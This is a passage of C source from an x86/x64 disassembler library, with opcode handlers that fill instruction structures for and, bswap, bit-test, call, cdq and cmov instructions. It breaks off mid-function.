// =======================================
//      23h
// =======================================
void __stdcall and_GvEv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,6);
}

// =======================================
//      24h
// =======================================
void __stdcall and_ALIb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and ");
    ALIb(pMyDisasm);
    FillFlags(pMyDisasm,6);
}

// =======================================
//      25h
// =======================================
void __stdcall and_eAX_Iv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and ");
    eAX_Iv(pMyDisasm);
    FillFlags(pMyDisasm,6);
}

// =======================================
//
// =======================================
void __stdcall arpl_(PDISASM pMyDisasm)
{

    if (Architecture == 64) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsxd ");
        GvEv(pMyDisasm);
        FillFlags(pMyDisasm,69);
    }
    else {
        (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "arpl ");
        OperandSize = 16;
        EvGv(pMyDisasm);
        OperandSize = 32;
        FillFlags(pMyDisasm,7);
    }

}

// =======================================
//      62h
// =======================================
void __stdcall bound_(PDISASM pMyDisasm)
{

    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bound ");
        GvEv(pMyDisasm);
        OpSize = 103;
        (*pMyDisasm).Argument1.AccessMode = READ;
        FillFlags(pMyDisasm,8);
    }

}

// =======================================
//      0fc8h
// =======================================
void __stdcall bswap_eax(PDISASM pMyDisasm)
{

    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap ");
    if (OperandSize == 64) {
        (*pMyDisasm).Argument1.ArgSize = 64;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
        }
    }
    else if (OperandSize == 32){
        (*pMyDisasm).Argument1.ArgSize = 32;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
        }
    }
    else {
        (*pMyDisasm).Argument1.ArgSize = 16;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
        }
    }
    EIP_++;
    FillFlags(pMyDisasm,10);

}


// =======================================
//      0fc8h
// =======================================
void __stdcall bswap_ecx(PDISASM pMyDisasm)
{

    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap ");
    if (OperandSize == 64) {
        (*pMyDisasm).Argument1.ArgSize = 64;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+0];
        }
    }
    else if (OperandSize == 32){
        (*pMyDisasm).Argument1.ArgSize = 32;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+0];
        }
    }
    else {
        (*pMyDisasm).Argument1.ArgSize = 16;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+0];
        }
    }
    EIP_++;
    FillFlags(pMyDisasm,10);

}


// =======================================
//      0fc8h
// =======================================
void __stdcall bswap_edx(PDISASM pMyDisasm)
{

    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap ");
    if (OperandSize == 64) {
        (*pMyDisasm).Argument1.ArgSize = 64;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+0];
        }
    }
    else if (OperandSize == 32){
        (*pMyDisasm).Argument1.ArgSize = 32;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+0];
        }
    }
    else {
        (*pMyDisasm).Argument1.ArgSize = 16;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+0];
        }
    }
    EIP_++;
    FillFlags(pMyDisasm,10);

}


// =======================================
//      0fc8h
// =======================================
void __stdcall bswap_ebx(PDISASM pMyDisasm)
{

    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap ");
    if (OperandSize == 64) {
        (*pMyDisasm).Argument1.ArgSize = 64;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+0];
        }
    }
    else if (OperandSize == 32){
        (*pMyDisasm).Argument1.ArgSize = 32;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+0];
        }
    }
    else {
        (*pMyDisasm).Argument1.ArgSize = 16;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+0];
        }
    }
    EIP_++;
    FillFlags(pMyDisasm,10);

}


// =======================================
//      0fc8h
// =======================================
void __stdcall bswap_esp(PDISASM pMyDisasm)
{

    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap ");
    if (OperandSize == 64) {
        (*pMyDisasm).Argument1.ArgSize = 64;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+0];
        }
    }
    else if (OperandSize == 32){
        (*pMyDisasm).Argument1.ArgSize = 32;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+0];
        }
    }
    else {
        (*pMyDisasm).Argument1.ArgSize = 16;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+0];
        }
    }
    EIP_++;
    FillFlags(pMyDisasm,10);

}


// =======================================
//      0fc8h
// =======================================
void __stdcall bswap_ebp(PDISASM pMyDisasm)
{

    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap ");
    if (OperandSize == 64) {
        (*pMyDisasm).Argument1.ArgSize = 64;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+0];
        }
    }
    else if (OperandSize == 32){
        (*pMyDisasm).Argument1.ArgSize = 32;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+0];
        }
    }
    else {
        (*pMyDisasm).Argument1.ArgSize = 16;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+0];
        }
    }
    EIP_++;
    FillFlags(pMyDisasm,10);

}


// =======================================
//      0fc8h
// =======================================
void __stdcall bswap_esi(PDISASM pMyDisasm)
{

    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap ");
    if (OperandSize == 64) {
        (*pMyDisasm).Argument1.ArgSize = 64;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+0];
        }
    }
    else if (OperandSize == 32){
        (*pMyDisasm).Argument1.ArgSize = 32;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+0];
        }
    }
    else {
        (*pMyDisasm).Argument1.ArgSize = 16;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+0];
        }
    }
    EIP_++;
    FillFlags(pMyDisasm,10);

}


// =======================================
//      0fc8h
// =======================================
void __stdcall bswap_edi(PDISASM pMyDisasm)
{

    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap ");
    if (OperandSize == 64) {
        (*pMyDisasm).Argument1.ArgSize = 64;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+0];
        }
    }
    else if (OperandSize == 32){
        (*pMyDisasm).Argument1.ArgSize = 32;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+0];
        }
    }
    else {
        (*pMyDisasm).Argument1.ArgSize = 16;
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+8];
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+0];
        }
    }
    EIP_++;
    FillFlags(pMyDisasm,10);

}

// =======================================
//      0fbch
// =======================================
void __stdcall bsf_GvEv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bsf ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,9);
}

// =======================================
//      0fbdh
// =======================================
void __stdcall bsr_GvEv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bsr ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,9);
}

// =======================================
//      0fbbh
// =======================================
void __stdcall btc_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;

    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btc ");
    EvGv(pMyDisasm);
    (*pMyDisasm).Argument1.AccessMode = READ;
    FillFlags(pMyDisasm,11);
}

// =======================================
//      0fa3h
// =======================================
void __stdcall bt_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bt ");
    EvGv(pMyDisasm);
    (*pMyDisasm).Argument1.AccessMode = READ;
    FillFlags(pMyDisasm,11);
}

// =======================================
//      0fb3h
// =======================================
void __stdcall btr_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btr ");
    EvGv(pMyDisasm);
    (*pMyDisasm).Argument1.AccessMode = READ;
    FillFlags(pMyDisasm,11);
}

// =======================================
//      0fabh
// =======================================
void __stdcall bts_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bts ");
    EvGv(pMyDisasm);
    (*pMyDisasm).Argument1.AccessMode = READ;
    FillFlags(pMyDisasm,11);
}

// =======================================
//      e8h
// =======================================
void __stdcall call_(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = CallType;
    (*pMyDisasm).Argument2.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1)) + 5 + NB_PREFIX;
        CalculateRelativeAddress(&MyAddress, MyNumber);
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
        if (MyAddress >= 0x80000000) {
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SDWORD*) (EIP_+1)) + 3 + NB_PREFIX;
        CalculateRelativeAddress(&MyAddress, MyNumber);
        MyAddress = MyAddress & 0xffff;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
        (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
        (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
    }
}

// =======================================
//
// =======================================
void __stdcall callf_(PDISASM pMyDisasm)
{
    long MyNumber;
    int i = 0;
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
        (*pMyDisasm).Instruction.BranchType = CallType;
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lcall ");
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic,"$");
            i++;
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call far ");
        }
        if (OperandSize ==32) {
            if (!Security(7)) return;
            MyNumber = *((WORD*) (EIP_+5));
            i += CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic+i, "%.4X", MyNumber);
        }
        else {
            if (!Security(5)) return;
            MyNumber = *((WORD*) (EIP_+3));
            i += CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic+i, "%.4X", MyNumber);
        }
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic+i, " , $");
            i+=4;
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic+i, " : ");
            i+=3;
        }
        MyNumber = *((DWORD*) (EIP_+1));
        if (OperandSize == 16) {
            MyNumber = MyNumber & 0xffff;
        }
        i += CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic+i, "%.8X", MyNumber);
        if (OperandSize == 32) {
            EIP_+=7;
        }
        else {
            EIP_+=5;
        }
        (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;

    }
}

// =======================================
//      99h
// =======================================
void __stdcall cdq_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    if (OperandSize == 64) {
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cqto ");
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cqo ");
        }
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else if (OperandSize ==32) {
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cltd ");
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cdq ");
        }
        (*pMyDisasm).Argument1.ArgSize = 32;
    }
    else {
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cwtd ");
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cwd ");
        }
        (*pMyDisasm).Argument1.ArgSize = 16;
    }
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall clts_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "clts ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + CR_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 1;
    FillFlags(pMyDisasm, 17);
    EIP_++;
}


// =======================================
//      F5h
// =======================================
void __stdcall cmc_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + FLAG_CONTROL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmc ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 1;
    FillFlags(pMyDisasm, 18);
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall cmovo_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovo ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovno_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovno ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovb ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovnb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovnb ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmove_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmove ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovne_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovne ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovbe_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovbe ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovnbe_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovnbe ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovs_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovs ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovns_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
